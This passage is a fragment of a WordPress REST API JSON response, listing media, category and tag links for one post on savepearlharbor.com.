achment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=495189"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=495189"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=495189"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}